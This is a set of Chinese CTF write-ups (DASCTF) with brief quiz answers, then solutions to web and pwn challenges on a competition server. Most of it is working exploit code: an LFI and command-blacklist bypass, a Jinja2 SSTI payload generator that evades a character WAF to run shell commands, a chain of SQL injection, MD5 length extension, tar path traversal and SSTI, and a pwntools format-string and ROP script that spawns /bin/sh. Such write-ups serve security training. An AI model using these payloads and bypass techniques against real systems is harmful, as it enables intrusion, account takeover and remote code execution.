1-1
这种样本被称为 对抗样本 (Adversarial Examples)。
解释: 对抗样本是指在原始样本中通过添加肉眼难以察觉的微小扰动(噪声),导致深度学习模型(如神经网络)以高置信度输出错误分类结果的样本。这种攻击方式被称为 对抗攻击 (Adversarial Attack)。
1-2
该标准编号为 21434 。
完整标准名称: ISO/SAE 21434 Road vehicles — Cybersecurity engineering(道路车辆——网络安全工程)。
背景补充: ISO/SAE 21434 是汽车行业首个针对道路车辆网络安全的国际标准,它规定了车辆全生命周期(从概念设计、开发、生产、运维到报废)的网络安全管理要求,是目前车联网安全领域最核心的合规标准。
1-3
物联网设备的 密钥 管理是安全防护的关键环节。
完整句子: 物联网设备的 密钥 管理是安全防护的关键环节,若设备私钥存储在可读写的公共存储区域,攻击者即可通过物理手段提取私钥,进而仿冒合法设备接入网络。
解析: 此处强调的是对于“私钥”等敏感信息的生成、存储、分发和销毁的全生命周期管控,这属于 密钥管理 (Key Management)的范畴。如果密钥存储不当(如明文存放在Flash、EEPROM等非安全区域),极易被通过JTAG/UART接口或拆解芯片读取,读取固件进行提取。常见的固件提取攻击。
密窟迷宫 - 拯救芙莉莲
题目地址:http://45.40.247.139:15622/
一、题目
场景为“误触宝箱机关”,需要通过 Web 漏洞解出封印并获取 flag
二、信息收集
主页正常访问,无明显入口
访问
robots.txt发现被禁止路径:/<(´⌯ ̫⌯)>.php`直接访问该隐藏文件,页面出现 PHP 报错:
-Undefined index: file
-include(): Filename cannot be empty结合报错研判存在“文件包含 + 参数控制”的逻辑
三、源码获取与漏洞确认
利用 PHP 伪协议读取源码(Base64 过滤器):
http://45.40.247.139:15622/<(´⌯ ̫⌯`)>.php?file=php://filter/read=convert.base64-encode/resource=<(´⌯ ̫⌯`)>.php
将响应中的 Base64 解码得到源码,已保存副本:source_code.php。
关键逻辑摘要(节选):
$file = $_GET['file'];
$blacklist = array(
'flag','php://input','data://','expect://','file://','glob://','phar://',
'/etc/passwd','/etc/shadow','win.ini','../','..\\',
);
foreach ($blacklist as $bad) {
if (stripos($file, $bad) !== false) {
die(...);
}
}
include($file);
// RCE 部分(在 ?spell 参数传入后执行)
$forbidden = array('system','exec','passthru','shell_exec','popen','proc_open');
// ...
$blocked_commands = array('cat','tac','nl','more','less','head','tail','sort','uniq',
'strings','od','xxd','hexdump','grep','awk','sed','cut','rev','base64','env');
// ...
$result = shell_exec($spell);
结论:
存在 LFI(本地文件包含)校验与
include($file)执行同时存在 RCE 点:
shell_exec($_GET['spell'])对命令与关键词做了黑名单过滤(
stripos逐字匹配)
四、利用思路
让
include($file)正常执行以继续到 RCE 分支
- 传入一个安全的可读取文件,如robots.txt绕过 RCE 黑名单并读取根目录中的
flag文件
- 过滤器阻止出现明文cat与flag
- 但stripos为纯文本匹配,可利用 Shell 解析特性绕过:
- 用制表符替代:ca\t在 Shell 中解析为cat
- 用通配符替代:/f*匹配/flag
五、实际 Payload 与结果
先确认 RCE 生效:
http://45.40.247.139:15622/<(´⌯ ̫⌯`)>.php?file=robots.txt&spell=ls%20/
输出目录列表中含有 flag,证明 RCE 有效。
最终读取 flag(Tab 为 %09):
http://45.40.247.139:15622/<(´⌯ ̫⌯`)>.php?file=robots.txt&spell=ca%09%20/f*
返回:
DASCTF{14041422916717706061902735593716}
六、复现脚本(节选)
使用 requests 的最简复现(完整脚本见:scan.py):
import requests
url = 'http://45.40.247.139:15622/<(´⌯ ̫⌯`)>.php'
params = {'file': 'robots.txt', 'spell': r'ca\t /f*'}
print(requests.get(url, params=params).text)
八、结论
该题通过 LFI 辅助源码审计,随后利用 RCE 并绕过黑名单,最终读取根目录
flag文件Flag:
DASCTF{14041422916717706061902735593716}
2-2
题目信息
题目地址:
http://45.40.247.139:16081/题目描述: 绕过字符 WAF,进行 RCE,运行
tar cf - /flag出 flag。
解题思路
1. 探测与分析
通过访问题目地址,发现是一个名为 "CyberMarket" 的暗网数据交易模拟网站。
通过探测发现存在 /relay 接口,该接口接受 port 和 data 参数,可以将请求转发到内部网络。
利用 /relay 探测内部端口(如 5000),发现内部运行着实际的业务服务。
2. 漏洞挖掘
内部服务主要包含以下几个关键接口:
/initialize: 初始化 Session。/hack: 用于获取积分(Credits)。/market: 购买数据片段,存在 SSTI 漏洞。
漏洞点 1: 整数溢出 (Integer Underflow)
在 /hack 接口中,如果传入一个极小的负数,可以绕过积分检查并获得巨额积分。
经过测试,传入 int64 的最小值 -9223372036854775808 可以成功触发溢出,获得大量正数积分。
URL: /hack?amount=-9223372036854775808
漏洞点 2: SSTI 与 WAF 绕过
在 /market 接口的 fragment 参数存在 Jinja2 模板注入漏洞。
但是该接口存在严格的 WAF,过滤了以下字符:
.(点)_(下划线)[](中括号)'"(引号)这里的 WAF 阻止了常规的
__class__,__mro__,['os']等访问方式。
3. WAF 绕过技巧
为了执行命令,我们需要构造出 __globals__, __builtins__, os, popen 等字符串,并获取到 lipsum 等对象来通过 attr() 访问属性。
构造字符:
字母: 利用
dict(a=1)|first获取字符 'a'。空格: 利用
center过滤器,如vc|center(3)得到 " c ",再取first得到空格。%: 利用
urlencode过滤器,空格 urlencode 后变为%20,取first得到%。_: 利用
format过滤器,%c格式化 ASCII 码 95 得到_。/: 利用
chr(47),其中chr函数从__builtins__中获取。
构造 Payload:
拼接生成
__globals__和__builtins__字符串。通过
lipsum|attr("__globals__")获取全局变量。进一步获取
__builtins__,从中获取chr函数。利用
chr()构造任意字符(如/,-)。拼接出命令
tar cf - /flag。通过
os.popen()执行命令并读取结果。
4. 执行 Exploit
编写脚本自动化执行以下步骤:
通过
/relay访问/initialize初始化 Session。通过
/relay访问/hack刷取积分。通过
/relay向/market发送 SSTI Payload。从响应中提取 Flag。
Exploit 脚本
import requests
import re
import urllib.parse
SERVER_URL = "http://45.40.247.139:16081"
RELAY_URL = f"{SERVER_URL}/relay"
TARGET_PORT = 5000
def send_via_relay(method, path, headers=None, body=None):
if headers is None:
headers = {}
# Construct raw HTTP request
req = f"{method} {path} HTTP/1.1\r\n"
req += "Host: 127.0.0.1\r\n"
req += "Connection: close\r\n"
for k, v in headers.items():
req += f"{k}: {v}\r\n"
if body:
# If body is dict, URL encode it
if isinstance(body, dict):
body = urllib.parse.urlencode(body)
if "Content-Type" not in headers:
req += "Content-Type: application/x-www-form-urlencoded\r\n"
req += f"Content-Length: {len(body)}\r\n"
req += "\r\n"
req += body
else:
req += "\r\n"
try:
r = requests.post(RELAY_URL, data={"port": TARGET_PORT, "data": req})
return r.text
except Exception as e:
print(f"[-] Relay error: {e}")
return None
def parse_cookie(response_text):
match = re.search(r"Set-Cookie: session=([^;]+);", response_text)
if match:
return match.group(1)
return None
def generate_payload(command):
# 辅助函数:利用 dict(x=1)|first 获取字符 'x'
def get_char(c, var_name):
return "{%set " + var_name + "=dict(" + c + "=1)|first%}"
payload = ""
chars = "abcdefghijklmnopqrstuvwxyz"
for c in chars:
payload += get_char(c, f"v{c}")
# 拼接基础字符串
payload += "{%set glstr=vg~vl~vo~vb~va~vl~vs%}" # globals
payload += "{%set btstr=vb~vu~vi~vl~vt~vi~vn~vs%}" # builtins
payload += "{%set chstr=vc~vh~vr%}" # chr
payload += "{%set omod=vo~vs%}" # os
payload += "{%set pfunc=vp~vo~vp~ve~vn%}" # popen
payload += "{%set rmeth=vr~ve~va~vd%}" # read
payload += "{%set gmeth=vg~ve~vt%}" # get
# 构造特殊字符
# 利用 center(3) 获取空格
payload += "{%set padded=vc|center(3)%}"
payload += "{%set space=padded|first%}"
# 利用 urlencode 获取 %
payload += "{%set pctstr=space|urlencode%}"
payload += "{%set percent=pctstr|first%}"
# 利用 format 获取 _
payload += "{%set fmt=percent~vc%}" # %c
payload += "{%set unsc=fmt|format(95)%}" # _
# 构造 __globals__ 和 __builtins__ 键名
payload += "{%set glkey=unsc~unsc~glstr~unsc~unsc%}"
payload += "{%set btkey=unsc~unsc~btstr~unsc~unsc%}"
# 获取 globals 和 builtins
payload += "{%set g=lipsum|attr(glkey)%}"
payload += "{%set bt=g|attr(gmeth)(btkey)%}"
payload += "{%set ch=bt|attr(gmeth)(chstr)%}" # 获取 chr 函数
# 构造命令中需要的特殊字符
payload += "{%set slash=ch(47)%}" # /
payload += "{%set dash=ch(45)%}" # -
# 构造命令字符串
first = True
for char in command:
val = ""
if 'a' <= char <= 'z':
val = "v" + char
elif char == ' ':
val = "space"
elif char == '-':
val = "dash"
elif char == '/':
val = "slash"
else:
val = "ch(" + str(ord(char)) + ")"
if first:
payload += "{%set cmd=" + val + "%}"
first = False
else:
payload += "{%set cmd=cmd~" + val + "%}"
# 执行命令
payload += "{%set mod=g|attr(gmeth)(omod)%}" # os
payload += "{%set popen=mod|attr(pfunc)%}" # popen
payload += "{%set out=popen(cmd)|attr(rmeth)()%}" # read
payload += "{%print out%}"
return payload
def exploit():
# 1. Initialize session
print("[*] Initializing session...")
resp = send_via_relay("GET", "/initialize")
cookie = parse_cookie(resp)
if not cookie:
print("[-] Failed to get cookie")
return
print(f"[+] Cookie: {cookie}")
# 2. Hack credits
print("[*] Hacking credits...")
# 使用 int64 最小值触发 Underflow
resp = send_via_relay("GET", "/hack?amount=-9223372036854775808", headers={"Cookie": f"session={cookie}"})
new_cookie = parse_cookie(resp)
if new_cookie:
cookie = new_cookie
# 3. RCE
cmd = "tar cf - /flag"
print(f"[*] Sending payload: {cmd}")
payload = generate_payload(cmd)
body = {"fragment": payload}
resp = send_via_relay("POST", "/market", headers={"Cookie": f"session={cookie}"}, body=body)
# Check response
if "flag{" in resp:
match = re.search(r"flag{[^}]+}", resp)
if match:
print(f"[+] FLAG: {match.group(0)}")
elif "<h3>" not in resp and len(resp) > 100:
header_end = resp.find("\r\n\r\n")
if header_end != -1:
binary_data = resp[header_end+4:]
flag_match = re.search(r"flag{[^}]+}", binary_data)
if flag_match:
print(f"[+] FLAG found in binary: {flag_match.group(0)}")
else:
print(f"[*] Flag might be in the binary response (len: {len(binary_data)})")
else:
print("[*] Response:")
print(resp)
if __name__ == "__main__":
exploit()
运行结果
执行脚本后,成功获取 Flag:DASCTF{41118891699440548027453120618544}
CTF Writeup: Web 2-3
题目描述
Web 题目,提供了一个企业数据公示管理系统。
题目地址:http://45.40.247.139:18853/
漏洞分析
经过对题目源码(src 目录)的分析,发现该系统存在多个漏洞,组合利用可以获取 Flag。
1. SQL 注入 (SQL Injection)
在 /edit-profile 接口中,用户提交的个人信息更新请求存在 SQL 注入漏洞。
后端代码大致逻辑如下(推测):
# 伪代码
cursor.executescript(
f"""
UPDATE users
SET
employee_number = '{profile.employee_number}',
email = '{profile.email}',
...
WHERE
username = '{username}'
"""
)
由于直接将用户输入拼接到 SQL 语句中,且使用了 executescript(支持多条语句执行),攻击者可以通过构造恶意的输入(如 email 字段)来执行任意 SQL 语句。
2. 哈希长度扩展攻击 (Hash Length Extension Attack)
系统的密码验证机制使用了 MD5 算法,并且加上了盐值(Salt):hash = MD5(SALT + password)
其中 SALT 是一个随机生成的 16 字节字符串,且在应用启动时生成,并在整个生命周期内保持不变(或者对于攻击者来说是未知的)。
由于 MD5 算法存在长度扩展攻击(Length Extension Attack)的特性,如果我们知道 MD5(SALT + secret) 和 SALT + secret 的长度,我们就可以在不知道 SALT 的情况下,计算出 MD5(SALT + secret + padding + suffix) 的值。
利用场景:
攻击者注册一个账号,设置已知密码
P1。通过 SQL 注入获取该账号在数据库中存储的哈希值
H1 = MD5(SALT + P1)。利用长度扩展攻击,计算出
H2 = MD5(SALT + P1 + padding + suffix)。构造一个新的密码
P2 = P1 + padding + suffix。通过 SQL 注入,将管理员(admin)的密码哈希修改为
H2。使用密码
P2登录 admin 账号。此时服务器计算MD5(SALT + P2)得到H2,与数据库匹配,登录成功。
3. 任意文件覆盖 (Zip/Tar Slip)
在管理员后台 /admin/restore 接口,允许上传 .tar 格式的数据库备份文件进行恢复。
后端处理逻辑如下:
# 伪代码
backup_tar_file = tarfile.open(backup_filepath, "r")
backup_tar_file.extractall(backup_dir)
tarfile.extractall 在 Python 的旧版本或未经过滤的情况下,存在路径遍历漏洞。如果 tar 包中的文件名包含 ../,则可以跳出目标目录,覆盖服务器上的任意文件。
4. 服务器端模板注入 (SSTI)
系统使用 Jinja2 作为模板引擎。结合上述的文件覆盖漏洞,攻击者可以构造一个包含 ../templates/info.html 文件的 tar 包。该文件的内容为 Jinja2 的 SSTI Payload,例如:
{{ lipsum.__globals__["os"].popen("cat /flag").read() }}
当上传并解压后,系统的 info.html 模板被恶意文件覆盖。访问 /info 页面时,模板被渲染,从而执行恶意代码并读取 Flag。
Exp 脚本
以下是完整的利用脚本,通过 Python 实现自动化攻击:
import requests
import binascii
import struct
import math
import re
import tarfile
import io
import time
import random
import string
# 目标地址
BASE_URL = "http://45.40.247.139:18853"
# MD5 辅助函数 (用于长度扩展攻击)
def left_rotate(n, b):
return ((n << b) | (n >> (32 - b))) & 0xFFFFFFFF
# MD5 常量表
K_TABLE = [int(math.floor(abs(math.sin(i+1))*(2**32))) for i in range(64)]
S_TABLE = [7,12,17,22]*4 + [5,9,14,20]*4 + [4,11,16,23]*4 + [6,10,15,21]*4
def md5_compress(state, block):
"""MD5 压缩函数"""
a, b, c, d = state
M = list(struct.unpack("<16I", block))
A, B, C, D = a, b, c, d
for i in range(64):
if i < 16:
F = (B & C) | ((~B) & 0xFFFFFFFF & D)
g = i
elif i < 32:
F = (D & B) | (C & ((~D) & 0xFFFFFFFF))
g = (5 * i + 1) % 16
elif i < 48:
F = B ^ C ^ D
g = (3 * i + 5) % 16
else:
F = C ^ (B | ((~D) & 0xFFFFFFFF))
g = (7 * i) % 16
F = (F + A + K_TABLE[i] + M[g]) & 0xFFFFFFFF
A = D
D = C
C = B
B = (B + left_rotate(F, S_TABLE[i])) & 0xFFFFFFFF
return ((a + A) & 0xFFFFFFFF, (b + B) & 0xFFFFFFFF, (c + C) & 0xFFFFFFFF, (d + D) & 0xFFFFFFFF)
def md5_padding(message_len):
"""MD5 填充"""
return b"\x80" + b"\x00" * ((55 - message_len) % 64) + struct.pack("<Q", message_len * 8)
def md5_from_state(state, data):
"""从给定状态继续计算 MD5"""
a, b, c, d = state
for i in range(0, len(data), 64):
a, b, c, d = md5_compress((a, b, c, d), data[i:i+64])
return struct.pack("<4I", a, b, c, d).hex()
def length_extension_attack(known_hash, original_len, extension_data):
"""执行长度扩展攻击"""
state = struct.unpack("<4I", bytes.fromhex(known_hash))
glue_padding = md5_padding(original_len)
total_len = original_len + len(glue_padding) + len(extension_data)
new_hash = md5_from_state(state, extension_data + md5_padding(total_len))
return new_hash, glue_padding + extension_data
def main():
print("[*] 开始执行漏洞利用...")
session = requests.Session()
session.timeout = 15
# Step 1: 注册并登录一个普通用户
print("[1] 注册并登录普通用户...")
base_password = b"exploitpwd"
username = "hacker_" + ''.join(random.choices(string.ascii_lowercase, k=6))
# 转换为 hex 格式传输
user_hex = binascii.b2a_hex(username.encode()).decode()
pass_hex = binascii.b2a_hex(base_password).decode()
resp = session.post(f"{BASE_URL}/register", json={
"username": user_hex,
"password": pass_hex,
"employee_number": "E00001",
"email": "hacker@example.com",
"phone_number": "1234567890",
"first_name": "Hacker",
"last_name": "One",
"date_of_birth": "2000-01-01",
"address": "Address"
})
if resp.status_code != 200:
print(f"[-] 注册失败: {resp.text}")
# 尝试直接登录(如果用户已存在)
# Step 2: 利用 SQL 注入提取当前用户的密码哈希
print("[2] 利用 SQL 注入获取密码哈希...")
# 注入 payload:将 email 更新为查询到的密码哈希
payload = f"x'; UPDATE users SET email=(SELECT password FROM users WHERE username='{username}') WHERE username='{username}'; --"
session.post(f"{BASE_URL}/edit-profile", params={
"employee_number": "E00001",
"email": payload,
"phone_number": "1234567890",
"first_name": "Hacker",
"last_name": "One",
"date_of_birth": "2000-01-01",
"address": "Address"
})
# 从个人信息页面获取哈希
resp = session.get(f"{BASE_URL}/info")
if '邮箱' not in resp.text:
print("[-] 无法获取信息页面或注入失败")
print(resp.text)
return
# 提取哈希值 (32位 hex)
match = re.search(r'([a-f0-9]{32})', resp.text.split('邮箱')[1][:100])
if not match:
print("[-] 未能提取到哈希值")
return
known_hash = match.group(1)
print(f"[+] 获取到哈希值: {known_hash}")
# Step 3: 执行 MD5 长度扩展攻击
print("[3] 计算长度扩展攻击 Payload...")
# 盐长度固定为 16
salt_length = 16
original_len = salt_length + len(base_password)
extension = b"ADMIN_ACCESS"
new_hash, appended_data = length_extension_attack(known_hash, original_len, extension)
extended_password = base_password + appended_data
print(f"[+] 伪造的哈希值: {new_hash}")
# Step 4: 利用 SQL 注入修改 Admin 密码
print("[4] 修改 Admin 密码哈希...")
update_payload = f"x'; UPDATE users SET password='{new_hash}' WHERE username='admin'; --"
session.post(f"{BASE_URL}/edit-profile", params={
"employee_number": "E00001",
"email": update_payload,
"phone_number": "1234567890",
"first_name": "Hacker",
"last_name": "One",
"date_of_birth": "2000-01-01",
"address": "Address"
})
# Step 5: 使用伪造的密码登录 Admin
print("[5] 登录 Admin 账户...")
admin_session = requests.Session()
admin_session.timeout = 15
admin_user_hex = binascii.b2a_hex(b"admin").decode()
# 注意:密码以 hex 形式发送
admin_pass_hex = extended_password.hex()
resp = admin_session.post(f"{BASE_URL}/login", data={
"username": admin_user_hex,
"password": admin_pass_hex
}, allow_redirects=False)
if resp.status_code == 302 or (resp.status_code == 200 and "admin" in resp.text):
print("[+] Admin 登录成功")
else:
print(f"[-] Admin 登录失败: {resp.status_code}")
return
# Step 6: 上传恶意 Tar 包覆盖模板 (SSTI)
print("[6] 利用 Tar Slip 覆盖模板并触发 SSTI...")
# 构造 SSTI Payload
ssti_payload = '<!DOCTYPE html><html><body><pre>{{ lipsum.__globals__["os"].popen("cat /flag").read() }}</pre></body></html>'
# 创建恶意的 tar 文件
tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode="w") as tar:
# 使用路径穿越文件名
tar_info = tarfile.TarInfo(name="../templates/info.html")
payload_bytes = ssti_payload.encode()
tar_info.size = len(payload_bytes)
tar.addfile(tar_info, io.BytesIO(payload_bytes))
tar_buffer.seek(0)
# 上传文件
admin_session.post(f"{BASE_URL}/admin/restore", files={
"restore_file": ("exploit.tar", tar_buffer, "application/x-tar")
})
time.sleep(1)
# Step 7: 访问页面触发 SSTI 获取 Flag
print("[7] 获取 Flag...")
resp = admin_session.get(f"{BASE_URL}/info")
if "DASCTF" in resp.text:
print("\n[SUCCESS] Flag found:")
print(re.search(r'(DASCTF\{.*?\})', resp.text).group(1))
else:
print("[-] Flag not found in response.")
print(resp.text)
if __name__ == "__main__":
main()
Flag
DASCTF{15464287394836846904472519519996}
PWN Writeup
漏洞分析
1. 保护机制
根据脚本的泄漏和利用逻辑,可以推断程序启用了以下保护:
Canary: 存在栈溢出保护,需要在溢出前泄漏并还原。
PIE (ASLR): 代码段地址随机化,需要泄漏基址。
NX (No-Execute): 栈不可执行,需要使用 ROP 攻击。
2. 漏洞点
程序存在两个主要的利用点:
格式化字符串漏洞 (Format String Bug):
在“写名字”功能(Option 2)中存在printf(buf)漏洞。
攻击者可以利用%p泄漏栈上数据(Canary、PIE 基址、Libc 基址)。
* 攻击者可以利用%n修改任意地址的值(用于修改全局变量nbytes)。栈溢出漏洞 (Stack Overflow):
在“写内容”功能(Option 3)中,读取长度由全局变量nbytes控制。
初始nbytes较小,无法溢出。
* 通过格式化字符串将nbytes修改为较大值(如 512)后,即可触发栈溢出
利用思路
第一步:信息泄漏 (Info Leak)
利用 Option 2 的格式化字符串漏洞,构造 payload 泄漏关键地址:
Canary: 位于格式化字符串参数的第 13 个位置 (
%13$p)。PIE Base: 栈上残留的返回到
main的地址位于第 15 个位置 (%15$p),减去固定偏移0x147c得到 PIE 基址。Libc Base: 栈上残留的
__libc_start_main返回地址位于第 21 个位置 (%21$p),减去固定偏移0x24083得到 Libc 基址。
第二步:修改读取长度 (Overwrite Global Variable)
为了触发栈溢出,需要修改控制读取长度的全局变量 nbytes。
nbytes的地址可以通过PIE Base + 0x4010计算得出。利用格式化字符串的
%n特性,将nbytes的值修改为 512 (0x200)。Payload 构造:
%512c%10$n,其中%10$对应栈上存储的目标地址(即nbytes的地址)。
第三步:ROP 攻击 (Ret2Libc)
修改 nbytes 后,使用 Option 3 输入超长内容触发栈溢出:
填充缓冲区: 72 字节垃圾数据。
恢复 Canary: 填入第一步泄漏的 Canary 值,绕过栈保护。
栈对齐: 填入 8 字节垃圾数据覆盖 Saved RBP。
构造 ROP 链:
retgadget (用于 16 字节栈对齐)。
pop rdi; ret(将/bin/sh地址放入 RDI 寄存器)。
*system函数地址。
最终执行system("/bin/sh")获取 Shell。
Exploit 脚本
#!/usr/bin/env python3
from pwn import *
class PwnExploit:
def __init__(self, host, port):
self.host = host
self.port = port
self.p = None
# Base Addresses (to be leaked)
self.base_pie = 0
self.base_libc = 0
self.canary = 0
# Offsets (Static)
self.OFFSET_NBYTES = 0x4010
self.OFFSET_MAIN_RET = 0x147c
self.OFFSET_LIBC_START = 0x24083
# Libc Gadgets & Symbols (Hardcoded for target env)
self.OFFSET_SYSTEM = 0x52290
self.OFFSET_BINSH = 0x1b45bd
self.OFFSET_POP_RDI = 0x23b6a
self.OFFSET_RET = 0x22679
def connect(self):
"""Establish connection to the target."""
context.log_level = 'debug'
context.arch = 'amd64'
try:
self.p = remote(self.host, self.port)
log.info(f"Connected to {self.host}:{self.port}")
except Exception as e:
log.error(f"Connection failed: {e}")
exit(1)
def leak_info(self):
"""Phase 1: Leak Canary, PIE base, and Libc base."""
log.progress("Phase 1: Leaking information...")
# Select 'write name' option
self.p.sendlineafter(b'>> ', b'2')
# Construct leak payload: %13$p (Canary) . %15$p (PIE) . %21$p (Libc)
payload = b'%13$p.%15$p.%21$p'.ljust(0x30, b'\x00')
self.p.sendlineafter(b'Please write your name:\n', payload)
# Parse leaked values
self.p.recvuntil(b'the name is:\n')
leaks = self.p.recvline().strip().split(b'.')
self.canary = int(leaks[0], 16)
leak_pie = int(leaks[1], 16)
leak_libc = int(leaks[2], 16)
self.base_pie = leak_pie - self.OFFSET_MAIN_RET
self.base_libc = leak_libc - self.OFFSET_LIBC_START
log.success(f"Canary: {hex(self.canary)}")
log.success(f"PIE Base: {hex(self.base_pie)}")
log.success(f"Libc Base: {hex(self.base_libc)}")
def overwrite_nbytes(self):
"""Phase 2: Overwrite 'nbytes' global variable to allow overflow."""
log.progress("Phase 2: Overwriting nbytes...")
target_addr = self.base_pie + self.OFFSET_NBYTES
# Payload logic:
# 1. %512c -> Output 512 characters
# 2. %10$n -> Write the count (512) to the address at the 10th stack argument
# 3. Pad to 32 bytes to align the address at the correct offset
# 4. Append the target address (which lands at the 10th argument position)
fmt_str = b'%512c%10$n'
payload = fmt_str.ljust(32, b'A') + p64(target_addr)
payload = payload.ljust(0x30, b'\x00')
self.p.sendlineafter(b'>> ', b'2')
self.p.sendlineafter(b'Please write your name:\n', payload)
log.success(f"Overwrote nbytes at {hex(target_addr)} with 512")
def execute_rop(self):
"""Phase 3: Trigger Stack Overflow and execute ROP chain."""
log.progress("Phase 3: Sending ROP chain...")
# Calculate gadget addresses
addr_ret = self.base_libc + self.OFFSET_RET
addr_pop_rdi = self.base_libc + self.OFFSET_POP_RDI
addr_binsh = self.base_libc + self.OFFSET_BINSH
addr_system = self.base_libc + self.OFFSET_SYSTEM
# Build ROP chain
rop = flat([
b'A' * 72, # Buffer padding
p64(self.canary), # Restore Canary
p64(0), # Saved RBP (dummy)
p64(addr_ret), # Stack alignment (16-byte align for System)
p64(addr_pop_rdi), # pop rdi; ret
p64(addr_binsh), # -> rdi = "/bin/sh"
p64(addr_system) # system("/bin/sh")
])
self.p.sendlineafter(b'>> ', b'3')
self.p.sendlineafter(b'Please write your content\n', rop)
log.success("ROP chain sent! Check for shell.")
def run(self):
self.connect()
self.leak_info()
self.overwrite_nbytes()
self.execute_rop()
self.p.interactive()
if __name__ == '__main__':
# Target Configuration
TARGET_HOST = '45.40.247.139'
TARGET_PORT = 21296
exploit = PwnExploit(TARGET_HOST, TARGET_PORT)
exploit.run()
结果
成功获取 Flag: DASCTF{COngratu1at1ons_ON_Get1ing_The_R1ght_HOUse}